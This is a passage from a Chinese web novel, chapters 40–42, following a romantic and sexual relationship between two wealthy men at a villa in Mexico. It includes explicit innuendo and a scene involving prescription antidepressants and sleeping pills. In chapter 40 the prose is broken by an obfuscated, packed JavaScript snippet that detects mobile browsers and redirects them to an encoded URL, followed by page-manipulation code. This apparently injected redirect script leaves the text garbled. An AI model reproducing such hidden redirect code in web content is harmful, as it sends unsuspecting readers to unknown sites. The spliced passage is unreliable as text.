程儿如果一直跟着何老二,那肯定是要会学坏的! 戚时当机立断,对人道:“我不走了,程儿跟着你,我不放心。” 何棣坤讶然:“不是,你怎么能这么快就妥协啊?我还有两篇八百字腹稿没讲完呢!还有,老三跟着我咋啦?天天吃香喝辣的,我哪里亏着他了?” 戚时无语至极,下巴冲大门一抬,催促;“快把门打开,老子要被冻死了。” “不行,万一你骗我怎么办?”何棣坤下巴也一抬,冲隔壁房间道:“你去穿他的衣服。” 戚时皱眉:“你知道他房间密码?” 何棣坤脱口而出:“199816。” 戚时脸上腾地一红,转身就去开门。 身后人嘎嘎贼笑:“弟夫,这是你生日吧?我记得你比我大三岁来着。” “你也知道老子比你大三岁啊,一口一个弟夫,没大没小!” 戚时深觉何老二比何老大要讨人厌百倍,甩手就把门摔上,趿拉着拖鞋,在何湛程令人眼花缭乱的潮装衣帽间里拿了件黑T恤和运动裤套身上,又挑了件薄棉卫衣和长裤,塞了双棉袜子在兜里,急急推门出去。 何棣坤还靠在走廊墙边抽烟,见他出来,上下打量他一番,笑得很欠抽。 戚时不耐烦道:“又怎么了!” 何棣坤唇角一勾,摘下嘴里烟头,对着戚时,在半空连续画着一个又一个心形烟圈,然后逐一点破。 “天冷了,我们家老三还在外头冻着,本打算提醒弟夫你快去海边献个殷勤,没想到你比我想象中要懂事。” “废话!”戚时一把将他推开,大步往电梯里走:“老子比赛还没结束呢,当然要回去了!” “比赛?搭讪比赛吗?”身后人好奇问:“筹码是什么?” “你弟。” “哦,那如果他赢了呢?” “在这场游戏里,不管谁输谁赢,他都得是我的。” 40. 第40章 戚时拿着何湛程的衣服原路返回,步速一会儿慢,一会儿又快,直到靠近那片白色沙滩,他抬眼眺望,那座红条纹巨型遮阳伞沿缀着黄条流苏,木质躺椅尾处歪着两只白白的脚。 是两只长着莹月般的漂亮足弓、足背泛着淡青脉络的大脚丫,闲着没事就喜欢胡乱晃荡,赤脚踩在沙子里时,就像雪白珍珠灌入进了泥,连每根脚指头都那么可爱性感。 戚时咽咽吐沫,脑子乱哄哄的,想起出门前随口与何棣坤立下的赌约—— 如果他真的能把何湛程拿下,何老二就送他一架私人飞机; 如果他没有能令何湛程变专一的本事,他从哪来就滚哪儿去。 虽说何家势力庞大,何家三兄弟各有所长,但他戚老二也不是素的,区区一架飞机,几栋滨海别墅,戚时才不会把何棣坤逗狗似的诱惑放在心上。 只是,何棣坤为他提供了新思路,他又觉得捉弄一下兔崽子也无妨。 谁让兔崽子隔三差五就遛他? 他现在就要让何湛程瞧瞧,谁才是真正的渣男! 兔崽子正窝在躺椅里发呆出神儿,人其实比在燕京时瘦了许多,五官逐渐锐利,鼻梁高翘,淡唇紧抿,一双深眸若万里寒星,衬得整个人愈发矜贵清冷。 有个金发绿眼的青年过来搭讪,兔崽子聋了似的,面无表情地盯着浪花涛涛的海面,眼睛都不眨一下,搭讪人被晾在一边,自讨没趣,将那杯插着薄荷与柠檬的鸡尾酒放他桌边,转头走了。 戚时眉头诧异一挑。 他还以为何湛程接下来是真打算找个俊男或者靓女,故意带回家和人上床气他,没曾想这人背地里居然这么冷酷决绝,还……挺帅的。 一点也不像那只会挽着他胳膊撒娇吐舌头的小妖精。 用来计数的两个iPad都某个暴躁的人被摔进了沙土里,纸条随风飘飞,早刮得到处都是,戚时俯身将iPad捡起,幸而海滩柔软,东西没摔坏。 他迈着步子,立在何湛程面前,伸手将iPad都平整放回茶水桌上。 何湛程假装没察觉他来,视线偏移几寸,扭脸看向另一边的大海。 戚时脸上也不做任何表情,将怀里衣裤抛到人怀里,又从兜里掏出双棉袜,扔过去,一副公事公办的语气:“你哥让我给你带的,天冷了,他叫你回去。” 何湛程冷声道:“干什么叫你来?他那些佣人呢?他手机呢?他有话自己不会说?” 戚时无所谓地耸了耸肩:“你哥神经病不是一天两天了,你又不是不知道,他还把我房门给锁了,非让我给你送一趟衣服,说是送完衣服就给我解锁,我寻思着又不远,茉莉那边机票都帮我买好了,我跑一趟就跑一趟呗。” 何湛程骤然坐起,抬掌一拍桌子,恼怒道:“艹!我就知道他靠不住!” 戚时嘴角微翘了一下,随即又抿平,转身就走。 “站住!”何湛程瞪着他背影:“你不是来伺候我的吗,我让你走了吗!” 戚时扭头答:“少爷恕罪,我赶飞机。” 何湛程沉眸盯他几秒,说:“你就这么急着走?你中午那会儿的决心呢?呵,才半天就放弃了,戚时,你是真玩儿不起,也真让我瞧不起!” 戚时笑:“对啊,我就是玩儿不起,对何三少你这样风流的人物,我下再大决心也是自讨苦吃,何必呢?我又不缺对象,干嘛非吊死在你这一颗树上,而且,你也没什么值得我稀罕的。” 何湛程眼神一黯:“你今天才说过你爱我。” 戚时一愣,转身问他:“什么?” 他什么时候对何湛程说过“我爱你”了? 何湛程也突然一慌,自知失言,生怕戚时发现手表不对劲,连忙找补:“梦里!你在梦里说的!” 戚时态度坚决地否认:“不可能!” 他这种钢铁般的男人,绝不会对任何人说“我爱你”这种肉麻到令人起鸡皮疙瘩的话,他连“我喜欢你”都说不出口,这两句常用情侣句,也根本不在他戚老二的词汇表里。 他对人表达喜欢的方式只有一种,那就是操! 爱之愈深,操之越切,简单粗暴,深入灵魂! 他有足够的本事让对方爽得恨不得一辈子都对他死心塌地,他有绝对的实力让对方快乐到连灵魂都开始瑟瑟颤抖,他听过数不清的身下人放|荡痛快的叫|床声,无论是多么矜持自重的体面人,一旦到他的胯|下承欢,都会不自觉依偎在他胸前,面含羞赧地对他诉说爱意。 所以他从不对人表白。 他一般都是搞完了别人,靠在床头,燃上支烟,等别人主动爬过来对他表白。 何湛程不知道戚时素来的流氓式做派,他只感受到对方一句斩钉截铁的“不可能”,那样发自内心的、果断否认爱他的真实反应,突然令他整个胃都绞痛起来。 何湛程安静异常地望着戚时,面无波澜。 他其实很想吐,又怕一不小心把整颗心给吐出来,戚时肯定会笑话死他,然后像个志得意满的强盗,快快乐乐地把他的心给捡走,从此再也不还给他。 他才不会让戚老二偷走他的心,何湛程想,他得先把对方的心偷走才行。 只片刻,何湛程面色缓和,垂下头,扑闪几下睫毛,态度软和下来。 自己也分不清到底有几分真心,几分假意,只是话语令人听起来难过又清晰: “原来,你不爱我啊。” 戚时神色一紧,强忍着想跑过去将人抱住塞怀里的冲动,冷冰冰道:“什么原来后来的,‘爱’能当饭吃么?能当钱花?你先给老子把衣服穿上。” 何湛程突然就犯了倔劲儿,扬手狠狠把衣服摔地上:“我不穿!” 戚时眉头一蹙,呵斥道:“别闹!马上降温了,穿上!” 何湛程瞪他一眼,见人神色紧张,忽地又哼一声。 他慢悠悠躺回去,甩对方一个赤裸脊背,闭上眼说: “我不会穿衣服,你这么着急,那你就帮我穿啊。” 原以为会听到拒绝,没料身后人居然就这么快步走来了。 何湛程满意地听到戚老二蹲在他背后捡衣服的动静,听那人缓缓走进,俯下身,整个人好闻的气息倾泻而下,胸腹如乌云般笼罩在他身上,粗糙指尖落下,一点点摸过他小臂,温柔地捏住他指尖,一根根移开,再然后—— 再然后一把夺走了他的手机! 何湛程霍然睁眼坐起身,仰脸瞪他:“你干什么!” “你爱穿不穿,不穿拉倒!”戚时将他手机揣自己裤兜,一扬眉:“你手机我没收了,你今儿晚上就在这儿过夜吧,冻死活该!” 何湛程一咬牙,他这下确信戚老二是真不爱他了。 狗日的,平时装得太贴心,让他差点就忘了戚时亲口承认过他俩只是玩玩而已! “衣服给我!”何湛程臭着脸站起身,“我自己穿!” 戚时面带微笑地将衣服递过去,看少爷忍辱负重自己一件件穿着衣服,颇有些我家有儿初长成的欣慰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409049|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这才对么! 为一个人好,就不能惯得他不像话。 他可不想再经历一遍被人拿玻璃台灯砸落满脸,被人吃抹干净完扭头跑路,自己还不得不跨国追人的倒霉事了。 退潮了,夜风起,天空亮起几颗星星,周遭游客渐稀。 戚时绕过桌子,拿起自己那堆纸条,整齐排列摆在何湛程空荡荡的桌边,说:“我赢了。” 何湛程提上裤子,啪的一声震天响,一脚踩在桌边,弯腰穿袜子,头也不抬道:“滚。” 戚时盯着他:“你要不要跟我一起走?” 何湛程心中一动,问:“理由?” 戚时神色认真,语气嚣张至极:“老子坐办公室每天净利润上百万,晚上出去应酬喝酒签的都是上亿的合同,现在吃饱了撑得跑来你这儿拿人,光误工费就五六个亿,你答应过要给我刷马桶,老子不能白折腾。” 何湛程立刻就被触怒了,抓起那堆纸条哗啦啦全摔人脸上。 “去死!去死吧你!一身铜臭味!滚去死!!” 戚时忍住笑意,板着脸,冲何湛程举起手机,亮出自己那张其实已经退完款的国际航班截图。 何湛程瞬间安静下来。 他凝眸盯着那张今日付款的,后天晚上十点墨西哥城直飞燕京的头等舱机票,确认戚时真的要走了。 心里慌慌的,他抿了抿唇,不知该说什么好。 “两天,”戚时收回手机,语气不容置喙,“你考虑清楚到底要不要跟我。” “要是……我不跟呢?” “不跟拉倒,就当我从没遇见过你,反正我记性也不好,过个一两个月就忘了。” “原来我在你心里,是那种一两个月就能够忘掉的人。” “呵,这已经算看得起你了,要放别人身上,老子两三天就忘干净了。” 何湛程胸腔登时涌起无限的失意与落寞。 这是他人生首次败北,输得还这么不甘心。 不,他转念一想,不应该是他输。 戚时能用一张几万块的破机票威胁他离开,他何湛程难道就不能使点手段把人留下么? 何湛程忽地朝人走过去,双臂抱住对方的腰,埋脸在戚时颈窝蹭着。 “二哥坏。二哥,你不要你的崽儿了吗?” 这一下犹如五雷轰顶,十万伏特高压电流劈过全身,全身血液都沸腾起来!戚时被撩拨得浑身冒烟儿,骨头都酥了,一颗心脏狂跳,满脸涨得通红。 他猛地拥住怀里人,两臂控制不住大力,将他的乖崽狠狠揉进胸膛,简直疼惜到不能自己。 声音也激动得颤抖:“要!当然要!崽儿你乖乖听话,二哥为你死了也值!” 何湛程耳根也有点泛红,他不知这大傻个儿吃什么耗子药了,怎么突然神经成这样。 他抬起头,冲人眨了眨眼:“那——你要不要亲亲我?” 戚时犹豫不过片刻,缓缓说了句“好啊”,再也装不下去了。 他眼眸深深,仔细望着某个对自己使坏的机灵鬼,忍不住一笑,低头温柔地吻了下来。 他根本就招架不住这个人。 何湛程嘴角勾起得意的笑,闭上眼,双臂游离往上,勾住了戚时脖颈,伸舌回吻。 懒得细究这个吻是不是假戏真做,他只想沉浸地享受这阔别已久的暧昧氛围。 我们应该谈一场恋爱的。 二人在海边夜风里紧紧相拥接吻,脑子里不约而同想到这句话。 41.第41章 别墅二楼露台私人浴池的最北端,树梢房檐挂着璀亮的透明水母灯,纱幔晃动,餐桌洁白,闪亮银座烛灯摆成一排,一尘不染的刀叉盘杯,酒香醉人。 仨人相对而坐,围着长桌共进晚餐。 何湛程与戚时背对大海,携手并排而坐,何棣坤则独自面朝大海,春暖花开。 何棣坤深知,如果自己不在,这将会是他三弟和三弟夫的一场浪漫烛光晚餐,但他偏要来捣乱,他非得凑上来仔细瞅瞅,看这俩八竿子打不着的京城总裁和沪上纨绔是怎么好上的。 “来,程儿。”戚时熟练切好牛排,把自己那份餐盘推给身旁人。 “谢谢二哥!”何湛程笑着接过, 何棣坤立刻放下刀叉,突然一副鬼迷日眼的死相,夹着嗓子,模拟对面俩人的对话。 “来~程儿~” “谢~谢~二~哥~” 戚时:“……” 何湛程:“……” 戚时不客气地从何棣坤盘子里叉走半条澳龙,放到何湛程盘子里,说:“程儿,多补点蛋白,对身体好。” 何湛程也自然而然地挥舞刀叉,叉走何老二盘子里剩下的半只澳龙,放到戚时盘子里,冲人甜甜地笑:“二哥,你也补补。” “谢谢程儿。” “不客气!” 何棣坤守着他只剩配菜的空荡盘子:“……………………” 何棣坤不满意地瞪何湛程一眼:“你叫他二哥,叫我什么?” 何湛程津津有味地嚼着肉,随口道:“叫你名字呗,你又不是没名字。” 何棣坤冷哼一声。 这个见色忘哥的臭小鬼,白害他高兴一场! 手机震动几下,何棣坤低头看微信,回复信息时,不留意刷到老三和戚时的消息栏,讶然抬头:“你俩换头像了?” 戚时和何湛程对视一笑,不约而同“嗯”了声。 傍晚二人拥吻过后,何湛程脑子里突然产生想跟戚时谈恋爱的想法,张口之际,猛然想起中午戚时这个老畜生想要睡他的时候,口无遮拦嘲讽他的那些话,何湛程心里窝火,不想再在戚时面前掉身价,于是没明说,只是暗示性的,对戚时提了一句:“我们要不要换个差不多的头像啊?” 他之前从裴玉口中得知,戚时的微信头像是那位蒋灵蒋老师帮拍的,虽然照片是戚时本人,那位蒋老师并没有露脸,但何湛程每次看到这张头像,都不免想起照片背后的渊源。 初时不甚在意,日子一长,渐渐就生了颗嫉妒心,越看越不是滋味。 戚时想也没想就同意了。 答应速度之快,让何湛程很难不去在意,戚时这个神经粗条的傻大个儿到底懂没懂他的意思。 何棣坤也笑,点开他家老三和弟夫的头像仔细查看。 预料之中,这是一对情侣头像,而且拍的全是同一个人、同一种姿势。 何湛程背影,与何湛程的正面。 戚时到底是集团总裁,列表商业伙伴众多,身份多有不便,于是举着手机,仔细找好角度,在海边拍摄了何湛程坐在沙滩上、仰脸望着远天一片紫红晚霞的青春背影。 何湛程无业游民一个,列表净是些三教九流的人物,头像随便换。 他上传的是自己的正面照—— 深红卫衣,漆黑长裤,顶着一头被风吹得有些凌乱的蓬松鸡窝头,脚踩一双小三万的红色AJ,皮肤清透,亮眸若繁星。他姿态很松弛地塌着肩,盘着大长腿,怀抱一堆五颜六色红酒果酒香槟和啤酒瓶,右耳上别着一小朵明艳的向日葵,冲镜头灿烂地笑着。 但因为是面对着戚时的镜头,何湛程有些放不开,笑容大方归大方,细微表情处,仍能看出几分不自然的腼腆。 这破天荒的害臊样儿。 何棣坤啧一声,私下偷偷发消息给戚时,说,多谢弟夫让他开眼,他家老三走哪儿都跟个随时会爆炸的手榴弹一样,外表乖顺,内心腹黑,他还从来没见过老三对谁的镜头脸红过。 戚时也得意。 他拍这张照片时,镜头里的人望着他笑得开心,仿佛何湛程的眼里、心里只有他一个人,他心动痴迷到不能自己,一时爱欲横生,恨不得立刻将人抱在怀里不停地亲吻,将人吻到山穷水尽,将人吻到地老天荒,想把何湛程彻底变成他的人,然后一辈子也不松手。 他想跟这个小他七岁的小孩儿谈恋爱。 很想很想,特别想! 心中一旦产生这个念头,愈燃愈烈,再也按捺不下去。 可犹豫了半天,他们连情侣头像都换上了,一路并肩而行往回走,何湛程在中途还主动牵了他的手,悄悄地与他十指相扣,他装作没发觉,脸别过去另一边,始终没敢开口。 他怕这位滥情成性的少爷又是三分钟热度,就像上次在酒店门口的车里,那样随便地敷衍他。 上次他没爱到深处,尚能自我调节,想着大不了事后好聚好散,反正他把人睡到就成。 这一次……他真的禁受不起了。 “Cheers!” 哥仨兴头上来,举杯相碰,各自仰头一饮而尽。 何棣坤今晚上心情不错,跟对面俩人商量,要不要夜里叫点人来开party? 戚时果断否决,说何老二如果愿意野,就自个儿去外边儿野去,不要把乱七八糟的人带到家里来,影响太坏。 何棣坤哼一声,说如果连自己家都不能随便玩,那家就不叫家了。 戚时不甚赞同,说在他的观念里,他家只能是他和他哥两个人,多出来的任何人都是外人。 再刻骨铭心的爱情,也绝无可能超过亲情。爱情总会贪图点儿对方什么,或外貌,或金钱,或着一段可以慰藉自己孤独的陪伴,亲情则是高尚的,无私奉献的。 包括他哥宠上天的那个男绿茶,他本来没那么讨厌他,只是因为他哥某天突然把人作为正式对象带到了家里住,戚时立刻就觉得那货没安好心。 那货一进他家就破坏了整个房子的祥和气氛,他哥还因此把他给赶了出去,他简直越看,越觉得对方面目可憎! 戚时说,他还以为何家是很传统的中式家庭,没想到何家哥仨一个比一个风流潇洒,而且性取向成谜,情人无数,可男可女,倒很赶新潮呢。 何老二与何老三对视一眼,不禁笑了起来。 何老二对戚时说,他们家的确是传统中式家庭—— 非常合理的、三妻四妾式的中式传统家庭。 戚时轻啧:“那不是传统中式家庭,那是旧社会封建家庭。” 何湛程冷哼一声,抬指敲两下桌子:“少搁这儿装清高,说得你那些情妇都跟摆设似的。” 戚时立马解释:“我可从没把她们带到家里来过!而且自从……咳,自从……自从……咳咳!我就都跟她们结束了。” 何湛程挑眉,正想问一句“那你为什么带我去你家住”,何棣坤突然想起什么事,一拍脑门,说“我差点忘了”,从裤兜摸出两个药盒,朝他们推了过来。 推向戚时。 何湛程愣了下,眼疾手快抢先一步,从戚时手底下夺走。 “盐酸氟西汀胶囊和佐匹克隆片?”他一眼扫过药盒,扭头皱眉问戚时:“你为什么吃这个?” 戚时还没答,何棣坤豪爽一挥手:“你别大惊小怪的,早上弟夫说,他来墨西哥的时候忘记带药,都失眠一周多了,让我找人给他开两盒常吃的,放心吧,就纯安眠药,他吃的剂量也不大,没大事儿!” 何湛程眉头拧得愈紧,瞪他一眼:“你傻缺吗?你不知道氟西汀是抗抑郁类的药?” 何棣坤诧异,扭头看向戚时,戚时面上没什么表情,沉默异常。 何棣坤看出不对劲,连忙对何湛程举起双手:“你别这么看我啊,关我啥事儿!你哥我这么开朗阳光,向来只对吗|啡和芬|太尼这种重伤药有了解,你该问他才对啊!” 何湛程再次将目光投向戚时。 戚时很自然笑了出来:“我也不知道这是抗抑郁类的药,你看我这种人像是懂药品的么?成年人失眠是常有的事儿,医生开什么我就吃什么,反正剂量又不大,对我没什么影响。” 何湛程半信半疑:“真的?” 戚时不答,反问他:“你呢?你又怎么了解这些的?” 何湛程也笑:“你猜我为什么退学?” 戚时讶然:“真的假的?你这种吃喝不愁全家惯着的大宝贝,你还有烦心事?” 何湛程面无表情,甩人一句“你管得着么”,然后,将高脚杯里倒满红酒,把手里的两盒药拆了,动作利落地一颗颗、一粒粒全挤进杯子里。 三十秒,装满浓丽液体的红酒杯里泡满胶囊与药片。 戚时和何棣坤忍不住惊道:“你干什么!” 何湛程神色一凛,手指半威胁式地点了点何棣坤,说:“你,以后不准再给他提供这类药。”又指向戚时,命令道:“你,往后不准再吃这种药。” 戚时紧抿着唇,没吭声,何棣坤倒同情起弟夫来,忍不住帮人说话:“那他在这边失眠怎么办啊?” 何湛程一下子又换了副面孔,一把挽住身旁人胳膊,说:“有我在啊!我都能戒掉,他为什么不能戒掉?” 何棣坤恍然大悟,叉了口半烤焦的干西蓝花进嘴里,嚼嚼嚼,评价道:“难怪你这两年这么暴躁,原来是没吃药。” 何湛程在桌子底下狠踹他一脚:“你少说两句废话死不了!” 然后转头看向戚时,笑道:“二哥,你这几天就先跟我住吧,怎么样?” 戚时想着,有失必有得,他有了何老三,还要什么破安眠药? 立马点头:“行!” 何棣坤翻了个大白眼,指尖晃荡着钥匙:“你们这几天既然要住一起,那弟夫的房门我还要不要解锁啊?” “废话!”何湛程瞪他一眼:“你说呢!办事不力,还好意思问?” 何棣坤大力一点头,行,他懂了。 非常有眼色的别墅主人,凌晨十二点把家让给暂住的弟弟和弟夫,一个人开着辆骚紫色的兰博基尼,风驰电掣马不停蹄跑到另一座城市的独栋公寓里开party去了。 管家、园丁、厨师、佣人们也都在一楼和后院居住,除非主人呼唤,否则夜晚绝不上楼来。 难得的二人世界。 何湛程擦着头发从浴室出来,戚时正背对着他关露台门,双臂倏地合拢,稳稳拉上帐子和窗帘,整间地中海式装修风格的清新卧房便蒙上一层隐秘的暧昧。 戚时余光注意到他,转身朝他走来,双手搂住他腰,低头凑在他脖颈间嗅了嗅,嗓音喑哑: “程儿,你真香。” 何湛程伸手轻推他一下:“少来,快去洗澡,不然才不给你闻。” “那你亲我一下?” 何湛程笑了声,倾身过去,在戚时嘴角吻了一下。

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他倒不是嫌戚时年纪大,只是单纯觉得,这可真不愧是他何老三看上的男人,连穿破烂都帅得那么炸裂苍穹。 戚时保养的好,皮肤白,体格强健,身上永远带一股子迷人致命的劲儿,只是此人过分高挑的身材与周身散发出的强大气场,沧桑眉间浮现出的长者阅历,很容易出卖他的真实年纪。 如今,戚时一夜之间剃了头发,换了舒适轻便装,左耳后一道酷炫的“Z”字型闪电,浓眉飞扬,桀骜不驯,完全是个热血少年,哪里还见着半分老成持重的影子? 何湛程欲念上来,情难自禁,趁人洗澡,忙解开浴袍,一手撑着沙发角落的墙壁,满脑子描摹着戚时的帅脸和那副胸腹肌饱满的身体,还有当初二人在酒店时,那人报复性地赤|裸|裸勾在他腰间的、肌腱有力的大长腿……何湛程呼吸急促起来,额头渐渐冒出薄汗,放纵着自己爽了两发。 等戚时在浴室吹完头发,急急忙忙小跑进卧室,意图与他家少爷进行更深一层的交流时,少爷已然舒舒服服地躺在被窝里,一脸安详地准备进入梦乡了。 戚时老司机了,鼻子灵光得很,立刻察觉屋子里气味不对劲,再低头打量几眼某位饱食餍足满面红光的何某人,脸色登时变得阴沉可怖起来! 不管不顾一把抓起将何某人的衣领子,将人从被窝里拎起来悬在半空,饱受屈辱的咆哮声如火山爆发,直冲睡眼惺忪的少爷脸上狂怒喷射出来: “何湛程!你他妈的几个意思啊!瞧不起老子是不是!!” 何湛程被吼得心脏狂跳眼冒金星,双耳短暂性失聪,好半响,他缓过劲儿来,一脸懵逼地问:“怎么了?” 戚时简直气不打一处来,飞快伸手过去掐了把何老三的鸟,大嗓门吼:“你还问!你说怎么了!!” 何湛程一个哆嗦激灵,忍不住嘶了口气,目光上下打量,见面前这位一丝.不挂的裸男帅哥急得面红耳赤,随即了然一笑,“哦”了一声。 裸男帅哥对他恨得牙痒痒:“你故意的吧!你是不是在找死?!” 何湛程眨眨眼:“我怎么了?我就是喜欢打飞机啊,而且我什么时候说要和你搞了?” 戚时气焰登时灭掉大半。 一甩手,将人扔回床上,唰地一下背转过身,守护住重要部位,扭头埋怨:“那、那你说让我和你一起住?” 何湛程抛给他一套家居服当睡衣,淡笑:“你还真是傻得可爱。” 戚时匆忙三两下穿好衣服,被人盯得浑身不自在,心里也嫌弃自己丢人,立马抬脚离开房间。 “那我随便找间客房睡吧,你早点休息。” “又是‘早点休息’,一碰上事儿你就让我‘早点休息’,你自己呢?你怎么不多休息休息?动不动就要逃跑,你这个胆小鬼,你不是集团老总吗?” 何湛程拍拍旁边枕头,招呼他:“过来,我都帮你暖好被窝了,你不是睡不好么,夜里失眠可怎么办。” 戚时心里愤愤,瞪他一眼:“那也跟你没关系!” “怎么会没关系呢?”何湛程笑,“你如果失眠睡不着,我可是会心疼的。” 戚时盯着他,眼神一黯:“不,你总是这么说,可你根本不会心疼任何人。” “是——真——的!”何湛程无奈叹了口气,朝人张开双臂,哄道:“快点儿,过来,我知道失眠不好受,但现在你有我呢,我抱着你睡。” 戚时觑他一眼。 然后斜着身子,试探着往床边挪了挪步子。 何湛程大力一拍床,催促:“快点儿啊!” 戚时蹭地一下蹿上床,两下蹬掉拖鞋,拱着一颗刚吹干的寸头就钻进被窝里。 他从对方的床尾钻进去,黑漆漆的被子里,他缓慢探索,沿着一对儿雪白脚踝、一双修长直腿,伸手扯掉浴袍带,将脸埋进那人的耻|骨处,贪婪地攫取。 掌心摩挲过一截劲瘦腰腹、性感的肚脐、起伏的胸膛……牙齿轻轻咬磨过**,直到吻到那人锁骨,无尽绵延的讨好才终于停下。 他整个人趴在何湛程身上,抬起头,两眼直勾勾地望向早已愣住的某人。 “湛程,如果我生病就能让你心疼我,那我干脆就不要治好了吧。” 42.第42章 那句话其实令何湛程很不安,但他不准备再问戚时到底怎么了。 按照戚时独断专行的强势做派,除非人家自己说,否则他问了也是白问。 何湛程一整夜没睡,瞪着天花板思考了大半宿,凌晨三点,找他大哥要到了戚铭的联系方式,准备有空去燕京上门拜访一下那位近年来深居简出的影帝。 虽然他也不懂自己为啥要为一个差点强|暴了他的狗畜生做到这种程度,但他就是这种想干什么就立刻干什么的高效率执行派。 而某位自称严重失眠的人,一整夜趴在他怀里睡得像头猪,大半夜还打鼾,一边埋头拱着他胸口,一边含糊呓语,净是些的“程儿,舒服么”、“腰抬起来”、“好香,给二哥闻闻”、“不是想健身么,以后二哥每天都这样帮你练屁|股怎么样”……无穷无尽的荤话。 何湛程听得满脸通红,深夜体温直线飙升三十九度八,想去浴室冲凉水澡,又怕把好容易睡着的人给弄醒。 一个惯纵风月的老流氓,因为一个听起来很虚无缥缈的“情”字,硬是忍了六个多小时,何湛程觉得该吃药的人是自己才对。 早上戚时迷迷糊糊地醒来,癞皮狗似的赖在他怀里,对他道了句“早安”,何湛程腹下憋着火儿,没吭声理他,戚时不满地又爬上来亲他嘴角,刻意压低的烟嗓勾引他,问他睡得好吗,何湛程一脚把人蹬开,扔下句“我尿急”,急匆匆跑去冲凉水澡。 “一起洗!”戚时见缝插针就要挤进浴室。 “今天不行!”何湛程砰一声大力关上了门。 “今天不行,哪天行?” “明天晚上。” 何湛程早已下定决心,明天晚上戚时上飞机前,不管什么手段,他非得缠着人留下不可! 门外,戚时瞬时明白过来,强忍住笑声,冲人回了句“好!” 别说后天晚上,只要能把人睡到手,他一整年都有时间陪兔崽子玩儿。 何棣坤的管家是个身材削瘦、半白头发打理得一丝不苟的英国人,叫安德森。 安德森深白皮肤,淡蓝眼珠,永远整洁的黑色西装与锃亮皮鞋,笑容得体,彬彬有礼。 戚时和何湛程洗漱好后,结伴下楼吃早餐,安德森告诉他们,何棣坤这两天都在外地忙,要等明天傍晚才回来,两位如有什么需要,尽管找他。 戚时没听太懂安德森这一口流利的、奇快无比的英国腔,默不作声掏手机打开翻译软件,刚按了语音输入,何湛程就端着盘子坐到他旁边,逐一字句帮他解释。 “就是说,这两天,咱俩就是这栋别墅主人的意思。” 何湛程将餐盘里的煎三文鱼切好,推过去换过戚时那份,笑脸问着:“你昨天下午不是说最近墨西哥菜吃腻了吗,我晚上让他们做中餐怎么样?炒几个菜,炖个红烧排骨汤鱼汤什么的,嗯,再腌个卤味吧,我记得你喜欢吃咸鲜口的。” 戚时诧异望他:“你怎么知道?” 何湛程一扬眉:“我怎么不能知道?” 戚时笑起来了,伸手捏了捏他的脸蛋,简直对他爱得不行。 “从哪儿打听我这么多事儿?裴玉说的?” “谁说的不重要,重要的是你开不开心。” 何湛程一笑,扭过头,对安德森安排下晚上的菜单,又交代了句,他们今天要出门,晚上回来可能要稍晚些,让厨师把控好时间。 身旁人发音很清晰,戚时能听懂大半,皱眉问:“出门?你又想去哪儿鬼混?” 何湛程轻哼一声:“不鬼混,和你约会,不行么?” 戚时点头:“这个行。” 何湛程端杯子喝了口咖啡,提议道:“昨晚上我睡不着,闲着没事儿买了两张机票,待会儿吃完饭咱们去瓜纳华托玩儿吧,你好容易来一趟,我给你当导游啊。” 戚时清清嗓,试探问:“咱们两个,还是?” 何湛程没好气地凑过去,也伸手捏了捏他的脸蛋,一字一顿地强调:“两、张、机、票,咱、们、两、个。” 戚时挠了下头,笑说,在他的概念里,“两张”等于“两张及两张以上”。 何湛程翻了个大白眼,问戚时学生时代数学考多少分,戚时仔细回忆了下,说,他没努力学习之前,数学均分二十五。 “那努力学习之后呢?” “一百三。” 何湛程咂舌,寻思着戚时当初为了他哥真有够拼的,正打算羡慕嫉妒恨一下呢,突然想起戚时之前似乎也为了他学过物理和书法呢。 虽然物理门槛较高,令戚大总裁铩羽而归,但书法能看出是认真练了,而且效果显著。 本来一副难登大雅之堂的狗爬丑字,在不到短短两周时间,就变成了满纸龙飞凤舞的豪迈大字,何湛程每每一想起,都要佩服一下戚时在学习方面惊人的爆发力。 综合戚时那些前任,何湛程不难猜出,戚时对一个人的好感度大概率取决于对方的聪明程度;同样的,戚时对自身的好感度,也取决于戚时本人是否能顺利获取自己拥有的某种能力。 如果进展顺利,就凭戚时张狂外露的性子,肯定会大肆自恋臭屁一番; 反之—— 何湛程心想,像戚时这么敏感又执拗的幼稚鬼,恐怕也会在不堪负重时感到压抑与痛苦。 不禁担忧,十七岁的戚时是经历过多少次这样反复的极端情绪,才终于踏入了燕京体育大学的大门?一个提起念书就眉头紧锁的差生,那几年又是怎样压抑着狂放性子,老实本分地在大学里追名逐利,最终成为优秀硕士毕业生的? 用完早餐,二人上楼换衣服准备出门,何湛程蓦地想到这一层,踏在楼阶上的脚步一顿,忽地回头问:“你做娱媒行业是半路出家吧?这是你喜欢做的事么?” 戚时一愣,仰脸望着楼阶上的人,有点没反应过来。 他完全没想到何湛程会突然问他这种问题。 从来没人问过他这个问题。 他的露水情缘们不会关心,他整日为前途奔波的下属们不会在意,他的故旧同学、那些跟他好到可以穿一条裤子的哥们儿,也因为与他身份有别,毕业后纷纷主动与他保持距离,和他渐行渐远。 这个位置是他哥想发设法给他留出来的,位高权重,可以说是现成的印钞机,他哥也不认为他有拒绝的理由。 他从小就没什么大志向,除了吃喝玩乐就是摆烂睡觉晒太阳,而他哥是一个完全的事业狂魔,人近中年,急需一个心腹之人充当左膀右臂,所以,尽管这个圈子里纷纷扰扰,他出于对他哥的义务与责任,想也不想就一头扎进来了。 幸而只要他愿意,大部分事他都能做好。接手擎荣集团后,他事业上还算顺风顺水,即便经常在夜里烦躁到失眠,每每在外应酬,习惯性装出一副老行家的样子,这令他感到自己一颗年轻蓬勃的心渐趋衰败腐烂。 